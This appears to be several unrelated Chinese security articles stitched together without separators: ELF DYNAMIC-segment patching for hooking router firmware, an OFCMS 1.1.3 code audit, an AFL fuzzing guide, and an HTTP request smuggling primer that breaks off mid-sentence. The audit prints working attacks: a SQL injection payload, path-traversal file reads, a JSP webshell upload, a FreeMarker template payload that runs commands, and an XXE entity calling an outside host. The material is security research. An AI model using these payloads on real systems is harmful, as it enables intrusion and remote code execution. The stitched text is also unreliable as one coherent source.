在《揭秘家用路由器0day漏洞挖掘》中作者针对D-link DIR-605L(FW_113)路由器中的Web应用程序boa,通过hook技术劫持 apmib_init()和apmib_get()函数修复boa对硬件的依赖,使得qemu-static-mips可以模拟执行,在文中作者通过LD_PRELOAD环境变量实现对函数的劫持。网上针对LD_PRELOAD的劫持也有大量的描述。但是LD_PRELOAD仍旧不是普适的。
存在的问题
LD_PRELOAD环境变量的开关在编译生成ulibc的时候指定,当关闭该选项的时候,无法使用LD_PRELOAD来预加载指定的动态链接库文件。
固件的二进制文件中会将二进制文件中的Section信息去除掉,只保留下Segment的信息,使得无法通过patchelf来增加动态链接库实现劫持。patchelf 支持对二进制文件的patch修改,或者添加执行过程中的链接lib。
本文方案思路
在ELF文件中,存在DYNAMIC Segment,ld.so通过该段内容来加载程序运行过程中需要的lib文件,图1为在IDA中反编译后查看的DYNAMIC段的内容。
图1 Elf32_Dyn结构体数组
DYNAMIC段介绍
dynamic 段开头包含了由N个Elf32_Dyn组成的结构体,该结构体的D_tag代表了结构体的类型。d_un为通过union 联合的指针d_ptr或者对应的结构体的值d_val。
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
}Elf32_Dyn;
d_tag字段保存了类型的定义参数,详见ELF(5)手册。下面列出了动态链接器常用的比较重要的类型值
1-DT_NEEDED 该类型的数据结构保存了程序所需要的共享库的名字相对字符串表的偏移量
2-DT_SYMTAB 动态符号表的地址,对应的节名为.dynsym
3-DT_HASH 符号散列表的名称,对应的节名为.hash又称为.gnu.hash
4-DT_STRTAB 符号字符串表的地址,对应的节名为 .dynstr
5-DT_PLTGOT 全局偏移表的地址
如上各个字段对应到 IDA 中显示如下,d_tag字段代表了动态段的类型,当该值为1的时候。表示程序依赖的共享库的名字,其对应的d_val表示了是要加载的lib的名称在string table中的偏移。
共享库文件名对应的结构体的类型值为0x01,如图2所示,0x4001C4-0x4001E4保存有5个二进制文件所依赖的共享库名字,其D_VAL的值是指向string table的偏移量。
图2 DT_NEEDED 共享库依赖图
DYNAMIC段的定位
从二进制文件头起始定位DYNAMIC段的流程如下:
ELF_HEADER->Program Header -> DYNAMIC Program
ELF_HEADER中保存有Program Header的偏移
图3 ELF Header
Program Header中保存有Dynamic Segment 的相关结构体信息
图4 Program Header
展开该结构体,可以找到Dynamic段在文件中的偏移量0x140h
Program Header结构体
DT_NEEDED伪造
动态段由dynamic的结构体数组组成,dynamic的结构体定义如下:
在dynamic和elf_hash之间仍存在一段空余空余可填充空间。本文利用该段空间填充,实现特定lib的加载。
本文方案实验与测试
利用dynamic和elf_hash之间的空余区域,在该区域伪造出新的dynamic的一个数组。如下图,不修改二进制文件大小,伪造增添ibcjson.so,使得二进制文件加载 ibcjson.so。在ibcjson.so中编写对应的劫持函数。
思路: 将原有的Elf32_Dyn数组元素依次后移,并在该数组的首部添加伪造的ibcjson.so,该lib的命名可以选用string table中的任一字符串即可。
核心移动代码,将Elf32_Dyn中的元素依次后移一个,dynamic段 dynamic[0]元素作为要伪造填充的数据,在本文的实验中,将dynamic[0]中的value值加1。由于在MIPS下存在大小端两种架构,在小端机器上的代码解决大端架构的填充伪造时要注意大小端的转换问题。
void move_dynamic(char* buf){
int x = 0;
Elf32_Dyn* dyn = (Elf32_Dyn *)buf;
while(1){
if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){
break;
}
x++;
if(x>100) {
printf("Error break\n");
break;
}
}
while(x--){
//printf("the index x is %x\n",x);
mem_cpy(&dyn[x],&dyn[x+1],8);
}
dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);
}
测试环境
TOTOLink N210RE中boa程序,劫持函数参考DIR605A,劫持apmib_init以及apmib_get
该固件的ld,关闭了LD_PRELOAD程序选项,未提供/etc/ld.preload
劫持函数代码,采用了《揭秘家用路由器漏洞挖掘》提供的示例代码如下,在原有的基础上,增加printf来查看显示是否劫持成功。
#include<stdio.h>
#define MIB_HW_VER 0x250
#define MIB_IP_ADDR 170
#define MIB_CAPTCHA 0x2C1
int apmib_init(void){
printf("helllo");
return 1;
}
int fork(void){
return 0;
}
void apmib_get(int code,int *value){
switch(code){
case MIB_HW_VER:
*value = 1;
break;
case MIB_IP_ADDR:
*value = 1;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return;
}
通过mips-linux-gcc进行编译,这里注意mips-linux-gcc在编译过程中的编译文件的位置要位于参数之后(踩坑了!!!!)
mips-linux-gcc -Wall -fPIC -shared apmib.c -o ibcjson.so
通过如下代码,给原有的boa二进制文件添加一个dynamic
#include<stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include "elf.h"
#define PATCH "boa_patch"
int b2l(int be)
{
return ((be >> 24) &0xff )
| ((be >> 8) & 0xFF00)
| ((be << 8) & 0xFF0000)
| ((be << 24));
}
char* buf = NULL;
int l2b(int le) {
return (le & 0xff) << 24
| (le & 0xff00) << 8
| (le & 0xff0000) >> 8
| (le >> 24) & 0xff;
}
static char *_get_interp(char *buf)
{
int x;
// Check for the existence of a dynamic loader
Elf_Ehdr *hdr = (Elf_Ehdr *)buf;
Elf_Phdr *phdr = (Elf_Phdr * )(buf + l2b(hdr->e_phoff));
printf("the phdr address is: 0x%x 0x%x 0x%x 0x%x\n",phdr,l2b(hdr->e_phoff),buf,sizeof(hdr->e_phoff));
for(x = 0; x < hdr->e_phnum; x++){
if(l2b(phdr[x].p_type) == PT_DYNAMIC){
// There is a dynamic loader present, so load it
return buf + l2b(phdr[x].p_offset);
}
}
return NULL;
}
int mem_cpy(char* src,char* dst,int len){
printf("the src addr is %x , %x\n",src-buf,dst-buf);
for(int x=0;x<len;x++){
dst[x]=src[x];
}
return 0;
}
/*
1 2 3 4
temp = 2
strcpy(1,2)
1 2
strcpy()
*/
void move_dynamic(char* buf){
int x = 0;
Elf32_Dyn* dyn = (Elf32_Dyn *)buf;
//Elf32_Dyn tmp_dyn;
//mem_cpy()
while(1){
if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){
printf("the x is %d\n",x);
break;
}
x++;
if(x>100) {
printf("Error break\n");
break;
}
}
while(x--){
//printf("the index x is %x\n",x);
mem_cpy(&dyn[x],&dyn[x+1],8);
}
dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);
//FILE* fw = fopen("")
}
void analyse(char* buf){
char* phdr_address = NULL;
phdr_address = _get_interp(buf);
printf("phdr address: 0x%x\n",phdr_address-buf);
move_dynamic(phdr_address);
}
void save_binary(char* buf,int size){
FILE* fw = fopen(PATCH,"wb");
fwrite(buf,size,1,fw);
fclose(fw);
}
int main(int argc,char *argv[],char* envp[]){
if(argc < 2){
printf("not enough argc\n");
}
FILE* fp = fopen(argv[1],"rb");
fseek(fp,0,SEEK_END);
int size = ftell(fp);
fseek(fp, 0L, SEEK_SET);
buf = malloc(size);
fread(buf,size,1,fp);
analyse(buf);
save_binary(buf,size);
free(buf);
return 0;
}
Makefile如下
all: elf.h analyse_ph.c
gcc analyse_ph.c -m32 -g3 -o analyse
./analyse boa_real_n210
针对N210RE 的测试截图如下,通过export LD_LIBRARY_PATH使得程序加载ibcjson.so,成功劫持boa,输出helllo
Ubuntu下rand函数劫持测试
rand函数的头文件是stdlib.h
编写rand.c
#include<stdio.h>
#include<stdlib.h>
int main(){
int a = 0;
a = rand()%100;
printf("the a is %d\n",a);
return 0;
}
//gcc -m32 rand.c -o rand
编写rand_hook.so
#include<stdio.h>
int rand(){
printf("hook !\n");
return 100;
}
//gcc -fPIC -Wall -shared -m32 rand_hook.c -o rand_hook.so
使用LD_PRELOAD测试,成功实现对该函数的劫持
使用patch,针对dynamic段元素添加伪造,测试rand_patch,依赖的库文件增加了ibc.so.6,ibc.so.6需要通过export LD_LIBRARY_PATH导入ibc.so.6的文件路径
实现对rand的劫持
总结
本文通过研究二进制文件中的dynamic段,通过修改二进制文件增加依赖共享库,可以解决在模拟固件的过程时,固件缺少节信息且固件函数无法通过LD_PRELOAD劫持的问题。该方案仍有不足之处,对于ld加载共享库的依赖顺序、共享库劫持的底层原理尚未深入探究。
参考
《揭秘家用路由器0day挖掘技术》
《二进制分析实战》
某内容管理系统最最最详细的代码审计
前言
刚好遇到一个授权的渗透是通过该cms实现getshell,所以顺便审计一下java类的cms,这个管理系统是一个内容管理系统,下载地址
https://gitee.com/oufu/ofcms/tree/V1.1.3/ tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip 这里我选择8.5.78
环境搭建
idea
ofcms V1.1.3
tomcat 8.5
idea直接创建新建项目,自动导入xml文件,配置启动服务器
导入sql文件
mysql -uroot -pxxxxxxx
use ofcms
source /路径.ofcms-v1.1.3.sql
show tables;
这里需要注意一点儿,源码确实,无法打包war'包,解决不掉artifacts的问题
配置端口
启动tomgcat的时候会乱码,修改tomcat的配置文件tomcat->config->logging.properties
更改所有utf8的格式为GBK
配置maven,整一个恶心的想吐
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
重建项目
启动服务,但是之前需要修改配置文件中的数据库的连接的字段用户名和密码,这里会报错,所以修改配置文件直接创建完成了数据库在上面导入数据库的时候跳过安装步骤。
首页地址: localhost:8099/ofcms_admin
后台地址:localhost:8099/ofcms_admin/admin/login.html
admin/123456
审计分析
SQL注入
文件结构目录
因为已知漏洞都存在于后台,直接审计后台文件,首先定位到控制层代码,
因为已经不通通过安装启动web服务,这里不需要分析安装控制层,看首页
出于对代码的尊重,跟了一波增加sql语句的处理,但是存在sql注入的过滤器,
直接触发增加用户接口
其实可以直接看出来,在第50行的时候已经使用put方法增加了管理员用户,然后new了一个对象record存放存入的其它参数的数据,再往下的时候根据record的值判断用户的类型,向下56行F7跟进,一直跟到类sqlpara的setsql方法进行插入
在这里的时候插入的是创建时的创建时间等字段,并没插入我们传入的详细信息,但是在类sysusercontroller中的57行中十对创建的用户sss创建id编号,此时用户以及数据的插入时在58行执行结束时完成,已经写进了数据库。
但是这里没有测试存在注入点儿,注入点存在于代码生成->新增
手动测试有回显sql=1'
猜测可能存在报错注入,构造payload
update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2
\ofsoft\cms\admin\controller\system\SystemGenerateController.java下断点分析
47行,F7跟进
返回的sql参数的内容未作任何过滤,48行F7跟进
98行跟进update方法
256行直接连接数据库进行更新,最后抛出异常,报错回显出数据库用户名root
存储型XSS
分析代码,
所以这里出现存储型XSS的地方不止这一个触点儿,包括前台,Ueditor编辑器的原因。
任意文件读取
查看文件模板,模板文件连接如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
可控参数dir,payload如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/
控制字段file_name读取文件
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib
漏洞分析
查看模板文件的时候,传入的dir参数以及updir的参数都为空
这里是对路径文件类型做判断,读取模板文件,所这里任意文件读取也只是针对任意模板文件读取,读取文件名的控制参数数为filename
根据debug分析,当传入的payload为
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../
测试根据断点看出,我们传入的参数dir为../
在65行的时候未对传入的参数dir做过滤,这个时候已经拿到了模板目录
读取通过循环遍历使用文件名读取
在调试的时候发现,我们访问目录。这里访问comn
在控制层TemplateController内调用函数getSiteTemplatePath()
F7跟进,在类file.java中对路径进行了直接拼接
所以只要调用file函数拼接的参数也必定会产生"任意"文件读取。那么所能使用的payload如下
?dir=../
?up_dir=../
#含文件名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn
文件上传实现webshell
刚好该类这里又save方法调用了上面的函数,所以我们可以保证我们上传文件的路径是可控的
尝试构造数据包
此时已经成功保存,但是通过文件读取是读不到文件的,实际上已经写进去了,因为在读取文件的时候限制了读取的文件类型,可以尝试保存一个html
验证是可以写入的,那么直接写入jsp木马实现webshell
最后一个断点执行结束,此时shell已成功写入
http://localhost:8099/ofcms_admin/static/1.jsp
SSTI模板注入
同样在save模板的时候我们分析,在125行的时候传入file文件以及文件内容
f7跟进函数,发现在类fileutils中的,writestring方法中在78行的时候拿到的string还是我们在前端输入的内容
继续F7跟进函数
这里直接对string进行了编码
payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问
http://localhost:8099/ofcms_admin/about.html
所以这里漏洞的触发点也很多,html页面都可以,当然也可以利用上面的文件上传进行写入页面调用也可以触发。漏洞的触发原理可参考这个文章
http://t.zoukankan.com/Eleven-Liu-p-12747908.html 很清晰
XXE漏洞
直接分析漏洞代码下断点
ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java
前端功能模块导出
定位到控制器处理方法,在 com.ofsoft.cms.admin.controller.ReprotAction类的 expReport 方法中。
使用上文的任意文件读取,在静态页面下放入我们写入的jrxml文件,文件命名为xxe.jrxml,构造payload
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE
file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2
文件内容的payload
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>
直接访问
http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe
漏洞成因是调用了 getParamsMap 方法,获取用户提交的所有参数,并将 j 参数赋值给 jrxmlFileName ,服务器接收用户输入的 j 参数后,拼接生成文件路径,可直接穿越其它目录,但是限制了文件后缀为 jrxml,所以文件名命名为jrxml
先调用getParamsMap 方法
而后调用JasperCompileManager.compileReport() 方法
F7跟进,在 compile方法中调用 JRXmlLoader.load() 方法,F7跟进,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析,所以xxe文件能执行。
总结
抛开白盒审计不说,sql注入实现比较简单,黑盒状态下也可知道用户名实现,跨站类可以通过js类的实现对用户的上线,高危的文件读取和webshell以及xxe,总的来说都是在文件读取目录遍历的基础上实现的,否则对于二次开发的网站抛开任意文件读取这个漏洞来说是无法实现webshell的。
AFL--模糊测试使用浅析
一、AFL简介
AFL(American Fuzzy Lop)是由安全研究员Micha Zalewski 开发的一款基于覆盖引导(Coverage-guided)的模糊测试工具,它通过记录输入样本的代码覆盖率,从而调整输入样本以提高覆盖率,增加发现漏洞的概率。
①从源码编译程序时进行插桩,以记录代码覆盖率(Code Coverage);
②选择一些输入文件,作为初始测试集加入输入队列(queue);
③将队列中的文件按一定的策略进行“突变”;
④如果经过变异文件更新了覆盖范围,则将其保留添加到队列中;
⑤上述过程会一直循环进行,期间触发了crash的文件会被记录下来。
二、AFL安装、测试
1.安装AFL
下载源码
Make
llvm_mode安装
之后输入以下命令进行安装
2.AFL测试
下载一个有缺陷的c文件
使用 afl-gcc/afl-clang 编译
生成一些种子语料库
开始fuzz
提示修改/proc/sys/kernel/core_pattern
再次运行之前的代码可看到fuzz进度
现在就表示我们的ACL已经安装成功了,注意出现(odd,check syntax!)是表示样例根本没有进入到测试中去,需要调整语料库。
Ctrl+C打断可以在out文件里看见我们的测试信息
3.并行fuzz测试
每个afl-fuzz进程占用CPU的一个核,实际上如果是多核的主机,AFL就可以并行工作
首先先看自己有多少内核
以上可以看出有四个内核意味着可以同时运行4个实例
首先指定主实例 -M 用于主实例,将 -S 添加到所有从属实例。它们可以相互同步
主实例:afl-fuzz -M master -i in/ -o out/ -m none -- ./imgRead_afl @@
从实例:afl-fuzz -S slave1 -i in/ -o out/ -m none -- ./imgRead_afl @@
在之前的out文件夹会多出俩个不同的文件夹masterh和slave1
现在尝试假如我们一次性运行5个实例会怎么样
在运行第5个实例后报错,其他实例不受影响,也可以确定4个核在运行中
三、AFL模糊测试libjpeg-turbo
libjpeg是专门处理Jpeg解码、编码、转码的自由软件库。libjpeg-turbo是其fork版本,还有一个基于libjpeg-turbo的fork的版本是MozJpeg。
1.编译libjpeg-turbo
首先下载libjpeg-turbo
之后需要修改cmakelist.txt,进行插桩编译
在cmakelist.txt中,在cmake_minimum_required命令下添加编译器选项,在前面添加,免得被覆盖,进行插桩编译
之后在libjpeg-turbo文件夹下
mkdir build
cd build
cmake ..
make
sudo make install
安装好之后build的内容如下
之后利用程序的示例对是否成功安装libjpeg-turbo库进行测试
该函数有俩个参数 一个输入文件名,一个作为输出文件名
具体作用就是调用了turbojpeg.h这个库函数对输入的jpg图片进行压缩
因为修改了cmake中的编译器设置,应该库函数里已经是被插过桩的,所以在编译时是可以不用afl-gcc编译也可以进行检测
这样是可以生成可执行文件,也可以实现压缩图片的功能,这里也对之前的样例进行了修改,只接收一个变量,并且不对压缩文件进行保存
但在进行模糊测试时出现以下问题
没有插桩信息,无法进行测试
发现它是动态编译的,虽然应该其动态链接库是插过桩的。但最后已知没有实现。这里最后考虑是想通过链接静态库实现。也是在网上查询未果后,发现在根目录下输入 make test,可以调用他自己的样例进行测试,这其中就包括了静态链接的测试
在一个静态链接测试的项目下,查看其ling.txt,得到静态编译的方式
最后对自己的编译自己的样例
之后开始模糊测试
总共测试次数超过1亿次,开了4个并行
4个样例的的最开始输入都是不一样的,可以从路径速度和总量上看出明显的区别,确实libjpeg-turbo在更新2.0之后,其安全性能得到了极大的提升,没有收到一个报错信息。
2.内存错误检查工具
这里有很多的内存检查工具,这里举个大概,只大概研究ASAN (-fsanitize=address)的使用和与AFL测试的结合
这里测试了几个漏洞文件以此来明晰ASAN的作用
编译文件模板如下
g++ -fsanitize=address -fno-omit-frame-pointer -o t xxx.cpp
这里只对几种漏洞进行展示
use-after-fee
可以看到漏洞的名称和发生的内存地址
stack buffer overflow
还有很多其他类型的漏洞可以进行检测
https://www.jianshu.com/p/3a2df9b7c353
在AFL中启用ASAN的方式也比较简单
在make时加上AFL_USE_ASAN=1
注意之后编译文件时需要加上启用asan的参数,不然会报错
3.构造自己的字典
AFL自带自己的一个字典库,主要用于各种变异操作的
如下是AFL的jpeg的字典
为了符合jpeg图片的实际,需要分析在jpeg中出现次数多且固定的字符
这里挑选一些频率较高的字符加入字典
这里挑选的字符主要来源自各种jpeg的开头部分
之后如果要使用字典需要使用-x参数进行指定字典文件
https://paper.seebug.org/496/#dictionary
4.语料库蒸馏
afl-cmin的核心思想是:尝试找到与语料库全集具有相同覆盖范围的最小子集。 举个例子,假设有多个文件,都覆盖了相同的代码,那么就丢掉多余的文件。
最后只留下一个文件
afl-tmin(减小单个输入文件的大小)
afl-tmin有两种工作模式,
instrumented mode和crash mode。默认的工作方式是instrumented mode
后面查资料得到tmin只能处理文件,文件夹需要修改脚本
精简到0bytes,后面在网上看到了相似的例子,这和tmin的精简策略有关,确实存在这种情况。
如果加上了参数-x,就会调用crash mode模式,会把导致程序非正常退出的文件直接剔除。这里测试的样例并没有crash例子,所以不进行测试。
5.持久模式
在持久模式下,AFL 仅模糊部分程序,而不是整个程序。当只想模糊复杂软件中的特定功能时,这很有用。与分叉服务器模式相比,这提供了许多速度改进。
具体例子如下:
对想要进行的部分进行修改
此时修改的文件是turbojpeg.c
再修改cmakelist.txt如下
之后对库进行重新编译
编译方式
再进行afl-fuzz(与之前一致)
速度上确实比之前的速度要快,最快时比之前要快上俩倍多
6.Afl-cov使用
可以快速帮助我们调用lcov和gcov处理来自afl-fuzz测试用例的代码覆盖率结果
安装
GCOV,它随gcc一起发布,所以不需要再单独安装,和afl-gcc插桩编译的原理一样,gcc编译时生成插桩的程序,用于在执行时生成代码覆盖率信息
LCOV,它是GCOV的图形前端,可以收集多个源文件的gcov数据,并创建包含使用覆盖率信息注释的源代码HTML页面。
这里也可以使用apt-install afl-cov来安装,不过看网上建议这个版本实际使用上会有问题,所以这里还是直接下载源码
为了实现检查覆盖率需要修改cmakelist.txt如下
再次编译库
编译文件
这里的afl-cov选择实时监控 也就是添加--live,先启动afl-cov,后启动afl-fuzz,当afl-fuzz退出时,afl-cov就会跟着退出
启动afl-cov的命令
/home/user/Desktop/afl-cov/afl-cov -d afl-cc --live --enable-branch-coverage -c . -e "cat AFL_FILE | ./ttt AFL_FILE" --overwrite
-d是之后afl-fuzz的输出文件,-c是直向源码文件的,在编译.c文件后,会生成一个.gno文件,-c 后面跟该文件的目录
启动afl-fuzz(与之前一致)
Afl-fuzz退出后,afl-cov需要等一会才能正常退出,此时就可以看见生成分析的网页了
也可以针对已经生成的数据直接开启afl-cov,但要求编译已经加上了-fprofile-arcs -ftest-coverage
网页首页
也可以进入到文件里,查看具体语句的执行次数
7.afl_postprocess使用
它最主要的作用就是可以规定生成种子的格式
作者在github上的样例的作用是让每个测试用例开头的标头都是GIF89a
https://github.com/mirrorer/afl/blob/master/experimental/post_library/post_library.so.c
编译方法
gcc -shared -wall -O3 post_library.so.c -o post_library.so
可以看看afl-fuzz.c对该方法的支持
获取AFL_POST_LIBRARY环境变量的值,自动加载afl_postprocess函数
这里推荐使用export设定环境变量,需要说明的是export的环境变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,shell关闭了,变量也就失效了,再打开新shell时就没有这个变量,需要使用的话还需要重新定义。如果需要一直使用,需要修改配置文件,方法推荐
https://blog.csdn.net/wx_it/article/details/118450790
加载后处理器库成功
也可以看到我们的测试样例变成了GIF格式,后处理库有效。
测试其他的例子
这部分需要注意的是对源码的处理,确保样例格式的满足输入的要求
参考资料
file:///C:/Users/antvsion/Desktop/AFL--%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E4%BD%BF%E7%94%A8%E6%B5%85%E6%9E%90.html#0https://paper.seebug.org/841/https://paper.seebug.org/842/ https://securitylab.github.com/research/fuzzing-challenges-solutions-1/ https://securitylab.github.com/research/fuzzing-sof
实验推荐
实验:Fuzz之AFL(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=7ffeb07e-680b-4490-8667-cf66b362635c>>
协议层安全相关《http请求走私与CTF利用》
0x00 前言
最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 请求走私漏洞),具体讲就是通过nginx的走私漏洞访问到Weblogic Console的登录页面,然后打Weblogic历史漏洞读取flag。当时做那道题的时候对走私漏洞没有深入理解,今天打ISCC2022的时候又遇到了一道利用gunicorn<20.04请求走私漏洞绕waf的题目,因此好好学习一下还是很有必要的。
0x01 发展时间线
最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。
https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。
0x02 什么是请求走私
当今的web架构中,单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。
听起来是不是有点像SSRF?不过SSRF与HTTP请求走私是有差别的,SSRF是直接利用内网机器来访问内网资源,但请求走私不是。用一张portswigger报告中经典的图来理解一下,有一种夹带私货的感觉,或许这就是被称为走私漏洞的原因吧:
0x03 漏洞成因与常见类型
http请求走私攻击比较特殊,它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。因此,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。
在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:Keep-Alive&Pipeline。
Keep-Alive&Pipeline
所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。
有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。
如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。
CL&TE
CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding#Directives 和 https://tools.ietf.org/
CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b //chunk_size
q=smuggling
6
hahaha
0 //end
[blank]
[blank]
另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:
POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n
常见走私类型
1.CL不为0
如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。
例如我们构造出:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n
在前端服务器看来它是一个请求,但是在后端服务器来看它就是:
//第一个请求
GET / HTTP/1.1\r\n
Host: example.com\r\n
//第二个请求
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
2.CL CL
在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
https://tools.ietf.org/html/rfc7230#section-3.3.3
但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。
我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:
GET / HTTP/1.1\r\n
Host: example.com\r\n
这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:
aGET / HTTP/1.1\r\n
Host: example.com\r\n
导致了请求走私,正常数据包被篡改。
但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。
3.CL TE
所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。
